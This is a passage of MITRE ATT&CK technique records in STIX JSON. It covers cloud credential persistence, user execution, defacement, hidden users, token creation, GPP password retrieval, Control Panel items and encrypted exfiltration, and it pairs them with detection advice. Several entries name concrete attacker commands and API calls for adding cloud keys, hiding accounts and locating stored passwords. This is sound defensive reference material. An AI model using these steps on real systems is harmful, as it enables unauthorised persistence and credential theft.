                    "url": "https://expel.io/blog/behind-the-scenes-expel-soc-alert-aws/"
                },
                {
                    "source_name": "Sysdig ScarletEel 2.0",
                    "description": "SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto. (2023, July 11). SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto. Retrieved July 12, 2023.",
                    "url": "https://sysdig.com/blog/scarleteel-2-0/"
                },
                {
                    "source_name": "Rhino Security Labs AWS Privilege Escalation",
                    "description": "Spencer Gietzen. (n.d.). AWS IAM Privilege Escalation \u2013 Methods and Mitigation. Retrieved May 27, 2022.",
                    "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
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            "modified": "2025-04-15T21:45:50.674Z",
            "name": "Additional Cloud Credentials",
            "description": "Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.\n\nFor example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure / Entra ID.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)\n\nIn infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the <code>CreateKeyPair</code> or <code>ImportKeyPair</code> API in AWS or the <code>gcloud compute os-login ssh-keys add</code> command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)\n\nAdversaries may also use the <code>CreateAccessKey</code> API in AWS or the <code>gcloud iam service-accounts keys create</code> command in GCP to add access keys to an account. Alternatively, they may use the <code>CreateLoginProfile</code> API in AWS to add a password that can be used to log into the AWS Management Console for [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538).(Citation: Permiso Scattered Spider 2023)(Citation: Lacework AI Resource Hijacking 2024) If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Sysdig ScarletEel 2.0) For example, in Entra ID environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal\u2019s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation) \n\nIn AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials to [Forge Web Credentials](https://attack.mitre.org/techniques/T1606) tied to the permissions of the original user account. These temporary credentials may remain valid for the duration of their lifetime even if the original account\u2019s API credentials are deactivated.\n(Citation: Crowdstrike AWS User Federation Persistence)\n\nIn Entra ID environments with the app password feature enabled, adversaries may be able to add an app password to a user account.(Citation: Mandiant APT42 Operations 2024) As app passwords are intended to be used with legacy devices that do not support multi-factor authentication (MFA), adding an app password can allow an adversary to bypass MFA requirements. Additionally, app passwords may remain valid even if the user\u2019s primary password is reset.(Citation: Microsoft Entra ID App Passwords)",
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                "Active Directory: Active Directory Object Creation",
                "Active Directory: Active Directory Object Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1204",
                    "external_id": "T1204"
                },
                {
                    "source_name": "Krebs Discord Bookmarks 2023",
                    "description": "Brian Krebs. (2023, May 30). Discord Admins Hacked by Malicious Bookmarks. Retrieved January 2, 2024.",
                    "url": "https://krebsonsecurity.com/2023/05/discord-admins-hacked-by-malicious-bookmarks/"
                },
                {
                    "source_name": "Reliaquest-execution",
                    "description": "Reliaquest. (2024, May 31). New Execution Technique in ClearFake Campaign. Retrieved August 2, 2024.",
                    "url": "https://www.reliaquest.com/blog/new-execution-technique-in-clearfake-campaign/"
                },
                {
                    "source_name": "Telephone Attack Delivery",
                    "description": "Selena Larson, Sam Scholten, Timothy Kromphardt. (2021, November 4). Caught Beneath the Landline: A 411 on Telephone Oriented Attack Delivery. Retrieved January 5, 2022.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/caught-beneath-landline-411-telephone-oriented-attack-delivery"
                },
                {
                    "source_name": "Talos Roblox Scam 2023",
                    "description": "Tiago Pereira. (2023, November 2). Attackers use JavaScript URLs, API forms and more to scam users in popular online game \u201cRoblox\u201d. Retrieved January 2, 2024.",
                    "url": "https://blog.talosintelligence.com/roblox-scam-overview/"
                },
                {
                    "source_name": "proofpoint-selfpwn",
                    "description": "Tommy Madjar, Dusty Miller, Selena Larson. (2024, June 17). From Clipboard to Compromise: A PowerShell Self-Pwn. Retrieved August 2, 2024.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:49.690Z",
            "name": "User Execution",
            "description": "An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566).\n\nWhile [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).\n\nAdversaries may also deceive users into performing actions such as:\n\n* Enabling [Remote Access Tools](https://attack.mitre.org/techniques/T1219), allowing direct control of the system to the adversary\n* Running malicious JavaScript in their browser, allowing adversaries to [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)s(Citation: Talos Roblox Scam 2023)(Citation: Krebs Discord Bookmarks 2023)\n* Downloading and executing malware for [User Execution](https://attack.mitre.org/techniques/T1204)\n* Coerceing users to copy, paste, and execute malicious code manually(Citation: Reliaquest-execution)(Citation: proofpoint-selfpwn)\n\nFor example, tech support scams can be facilitated through [Phishing](https://attack.mitre.org/techniques/T1566), vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or [Remote Access Tools](https://attack.mitre.org/techniques/T1219).(Citation: Telephone Attack Delivery)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Oleg Skulkin, Group-IB",
                "Menachem Goldstein",
                "Harikrishnan Muthu, Cyble",
                "ReliaQuest",
                "Ale Houspanossian",
                "Fernando Bacchin"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain Initial Access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS",
                "IaaS",
                "Containers"
            ],
            "x_mitre_version": "1.8",
            "x_mitre_data_sources": [
                "Instance: Instance Start",
                "File: File Creation",
                "Network Traffic: Network Connection Creation",
                "Container: Container Creation",
                "Instance: Instance Creation",
                "Network Traffic: Network Traffic Content",
                "Process: Process Creation",
                "Command: Command Execution",
                "Image: Image Creation",
                "Application Log: Application Log Content",
                "Container: Container Start"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--8c41090b-aa47-4331-986b-8c9a51a91103",
            "created": "2020-02-20T14:31:34.778Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1491/001",
                    "external_id": "T1491.001"
                },
                {
                    "source_name": "Varonis",
                    "description": "Jason Hill. (2023, February 8). VMware ESXi in the Line of Ransomware Fire. Retrieved March 26, 2025.",
                    "url": "https://www.varonis.com/blog/vmware-esxi-in-the-line-of-ransomware-fire"
                },
                {
                    "source_name": "Novetta Blockbuster Destructive Malware",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20160303200515/https:/operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"
                },
                {
                    "source_name": "Novetta Blockbuster",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "url": "https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:49.776Z",
            "name": "Internal Defacement",
            "description": "An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users, thus discrediting the integrity of the systems. This may take the form of modifications to internal websites or server login messages, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster)(Citation: Varonis) Disturbing or offensive images may be used as a part of [Internal Defacement](https://attack.mitre.org/techniques/T1491/001) in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor internal and websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "ESXi"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_impact_type": [
                "Integrity"
            ],
            "x_mitre_data_sources": [
                "File: File Creation",
                "Network Traffic: Network Traffic Content",
                "Application Log: Application Log Content",
                "File: File Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--8c4aef43-48d5-49aa-b2af-c0cd58d30c3d",
            "created": "2020-03-13T20:12:40.876Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1564/002",
                    "external_id": "T1564.002"
                },
                {
                    "source_name": "Cybereason OSX Pirrit",
                    "description": "Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved December 10, 2021.",
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf"
                },
                {
                    "source_name": "Apple Support Hide a User Account",
                    "description": "Apple. (2020, November 30). Hide a user account in macOS. Retrieved December 10, 2021.",
                    "url": "https://support.apple.com/en-us/HT203998"
                },
                {
                    "source_name": "FireEye SMOKEDHAM June 2021",
                    "description": "FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate\u2019s Supply Chain Software Compromise. Retrieved September 22, 2021.",
                    "url": "https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html"
                },
                {
                    "source_name": "Hide GDM User Accounts",
                    "description": "Ji Mingkui. (2021, June 17). How to Hide All The User Accounts in Ubuntu 20.04, 21.04 Login Screen. Retrieved March 15, 2022.",
                    "url": "https://ubuntuhandbook.org/index.php/2021/06/hide-user-accounts-ubuntu-20-04-login-screen/"
                },
                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:39:51.186Z",
            "name": "Hidden Users",
            "description": "Adversaries may use hidden users to hide the presence of user accounts they create or modify. Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users. \n\nIn macOS, adversaries can create or modify a user to be hidden through manipulating plist files, folder attributes, and user attributes. To prevent a user from being shown on the login screen and in System Preferences, adversaries can set the userID to be under 500 and set the key value <code>Hide500Users</code> to <code>TRUE</code> in the <code>/Library/Preferences/com.apple.loginwindow</code> plist file.(Citation: Cybereason OSX Pirrit) Every user has a userID associated with it. When the <code>Hide500Users</code> key value is set to <code>TRUE</code>, users with a userID under 500 do not appear on the login screen and in System Preferences. Using the command line, adversaries can use the <code>dscl</code> utility to create hidden user accounts by setting the <code>IsHidden</code> attribute to <code>1</code>. Adversaries can also hide a user\u2019s home folder by changing the <code>chflags</code> to hidden.(Citation: Apple Support Hide a User Account) \n\nAdversaries may similarly hide user accounts in Windows. Adversaries can set the <code>HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList</code> Registry key value to <code>0</code> for a specific user to prevent that user from being listed on the logon screen.(Citation: FireEye SMOKEDHAM June 2021)(Citation: US-CERT TA18-074A)\n\nOn Linux systems, adversaries may hide user accounts from the login screen, also referred to as the greeter. The method an adversary may use depends on which Display Manager the distribution is currently using. For example, on an Ubuntu system using the GNOME Display Manger (GDM), accounts may be hidden from the greeter using the <code>gsettings</code> command (ex: <code>sudo -u gdm gsettings set org.gnome.login-screen disable-user-list true</code>).(Citation: Hide GDM User Accounts) Display Managers are not anchored to specific distributions and may be changed by a user or adversary.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Omkar Gudhate"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for users that may be hidden from the login screen but still present in additional artifacts of usage such as directories and authentication logs. \n\nMonitor processes and command-line events for actions that could be taken to add a new user and subsequently hide it from login screens. Monitor Registry events for modifications to the <code>HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList</code> key.\n\nIn macOS, monitor for commands, processes, and file activity in combination with a user that has a userID under 500.(Citation: Cybereason OSX Pirrit) Monitor for modifications to set the <code>Hide500Users</code> key value to <code>TRUE</code> in the <code>/Library/Preferences/com.apple.loginwindow</code> plist file. Monitor the command line for usage of the <code>dscl . create</code> command with the <code>IsHidden</code> attribute set to <code>1</code>.(Citation: Apple Support Hide a User Account) ",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "macOS",
                "Windows",
                "Linux"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "File: File Modification",
                "User Account: User Account Creation",
                "Windows Registry: Windows Registry Key Modification",
                "Process: Process Creation",
                "Command: Command Execution",
                "User Account: User Account Metadata"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819",
            "created": "2020-02-18T18:03:37.481Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1134/003",
                    "external_id": "T1134.003"
                },
                {
                    "source_name": "Microsoft Command-line Logging",
                    "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.",
                    "url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing"
                },
                {
                    "source_name": "LogonUserW function",
                    "description": "Microsoft. (2023, March 10). LogonUserW function (winbase.h). Retrieved January 8, 2024.",
                    "url": "https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonuserw"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:49.948Z",
            "name": "Make and Impersonate Token",
            "description": "Adversaries may make new tokens and impersonate users to escalate privileges and bypass access controls. For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the `LogonUser` function.(Citation: LogonUserW function) The function will return a copy of the new session's access token and the adversary can use `SetThreadToken` to assign the token to a thread.\n\nThis behavior is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) in that this refers to creating a new user token instead of stealing or duplicating an existing one.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Jonny Johnson"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the <code>runas</code> command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.\n\nAnalysts can also monitor for use of Windows APIs such as <code>LogonUser</code> and <code> SetThreadToken</code> and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--8d7bd4f5-3a89-4453-9c82-2c8894d5655e",
            "created": "2020-02-11T18:43:06.253Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1552/006",
                    "external_id": "T1552.006"
                },
                {
                    "source_name": "Obscuresecurity Get-GPPPassword",
                    "description": "Campbell, C. (2012, May 24). GPP Password Retrieval with PowerShell. Retrieved April 11, 2018.",
                    "url": "https://obscuresecurity.blogspot.co.uk/2012/05/gpp-password-retrieval-with-powershell.html"
                },
                {
                    "source_name": "Microsoft GPP 2016",
                    "description": "Microsoft. (2016, August 31). Group Policy Preferences. Retrieved March 9, 2020.",
                    "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn581922(v%3Dws.11)"
                },
                {
                    "source_name": "Microsoft GPP Key",
                    "description": "Microsoft. (n.d.). 2.2.1.1.4 Password Encryption. Retrieved April 11, 2018.",
                    "url": "https://msdn.microsoft.com/library/cc422924.aspx"
                },
                {
                    "source_name": "ADSecurity Finding Passwords in SYSVOL",
                    "description": "Sean Metcalf. (2015, December 28). Finding Passwords in SYSVOL & Exploiting Group Policy Preferences. Retrieved February 17, 2020.",
                    "url": "https://adsecurity.org/?p=2288"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:39:12.196Z",
            "name": "Group Policy Preferences",
            "description": "Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). GPP are tools that allow administrators to create domain policies with embedded credentials. These policies allow administrators to set local accounts.(Citation: Microsoft GPP 2016)\n\nThese group policies are stored in SYSVOL on a domain controller. This means that any domain user can view the SYSVOL share and decrypt the password (using the AES key that has been made public).(Citation: Microsoft GPP Key)\n\nThe following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:\n\n* Metasploit\u2019s post exploitation module: <code>post/windows/gather/credentials/gpp</code>\n* Get-GPPPassword(Citation: Obscuresecurity Get-GPPPassword)\n* gpprefdecrypt.py\n\nOn the SYSVOL share, adversaries may use the following command to enumerate potential GPP XML files: <code>dir /s * .xml</code>\n",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for attempts to access SYSVOL that involve searching for XML files. \n\nDeploy a new XML file with permissions set to Everyone:Deny and monitor for Access Denied errors.(Citation: ADSecurity Finding Passwords in SYSVOL)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "File: File Access",
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--8df54627-376c-487c-a09c-7d2b5620f56e",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1196",
                    "external_id": "T1196"
                },
                {
                    "source_name": "Microsoft Implementing CPL",
                    "description": "M. (n.d.). Implementing Control Panel Items. Retrieved January 18, 2018.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx"
                },
                {
                    "source_name": "TrendMicro CPL Malware Jan 2014",
                    "description": "Merc\u00eas, F. (2014, January 27). CPL Malware - Malicious Control Panel Items. Retrieved January 18, 2018.",
                    "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf"
                },
                {
                    "source_name": "TrendMicro CPL Malware Dec 2013",
                    "description": "Bernardino, J. (2013, December 17). Control Panel Files Used As Malicious Attachments. Retrieved January 18, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/"
                },
                {
                    "source_name": "Palo Alto Reaver Nov 2017",
                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:51.719Z",
            "name": "Control Panel Items",
            "description": "Windows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013)\n\nFor ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. (Citation: Microsoft Implementing CPL)\n\nAdversaries can use Control Panel items as execution payloads to execute arbitrary commands. Malicious Control Panel items can be delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) campaigns (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware. (Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor and analyze activity related to items associated with CPL files, such as the Windows Control Panel process binary (control.exe) and the Control_RunDLL and ControlRunDLLAsUser API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: <code>control.exe file.cpl</code>) before [Rundll32](https://attack.mitre.org/techniques/T1085) is used to call the CPL's API functions (ex: <code>rundll32.exe shell32.dll,Control_RunDLL file.cpl</code>). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1085) command, which may bypass detections and/or execution filters for control.exe. (Citation: TrendMicro CPL Malware Jan 2014)\n\nInventory Control Panel items to locate unregistered and potentially malicious files present on systems:\n\n* Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ControlPanel\\NameSpace</code> and <code>HKEY_CLASSES_ROOT\\CLSID\\{GUID}</code>. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL)\n* CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the <code>Cpls</code> and <code>Extended Properties</code> Registry keys of <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel</code>. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically (<code> WinExec(\"c:\\windows\\system32\\control.exe {Canonical_Name}\", SW_NORMAL);</code>) or from a command line (<code>control.exe /name {Canonical_Name}</code>). (Citation: Microsoft Implementing CPL)\n* Some Control Panel items are extensible via Shell extensions registered in <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Controls Folder\\{name}\\Shellex\\PropertySheetHandlers</code> where {name} is the predefined name of the system item. (Citation: Microsoft Implementing CPL)\n\nAnalyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques. (Citation: TrendMicro CPL Malware Jan 2014)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5",
            "created": "2020-03-15T15:34:30.767Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1048/002",
                    "external_id": "T1048.002"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:50.294Z",
            "name": "Exfiltration Over Asymmetric Encrypted Non-C2 Protocol",
            "description": "Adversaries may steal data by exfiltrating it over an asymmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAsymmetric encryption algorithms are those that use different keys on each end of the channel. Also known as public-key cryptography, this requires pairs of cryptographic keys that can encrypt/decrypt data from the corresponding key. Each end of the communication channels requires a private key (only in the procession of that entity) and the public key of the other entity. The public keys of each entity are exchanged before encrypted communications begin. \n\nNetwork protocols that use asymmetric encryption (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged. Adversaries may opt to use these encrypted mechanisms that are baked into a protocol. ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "exfiltration"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "William Cain"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2) ",
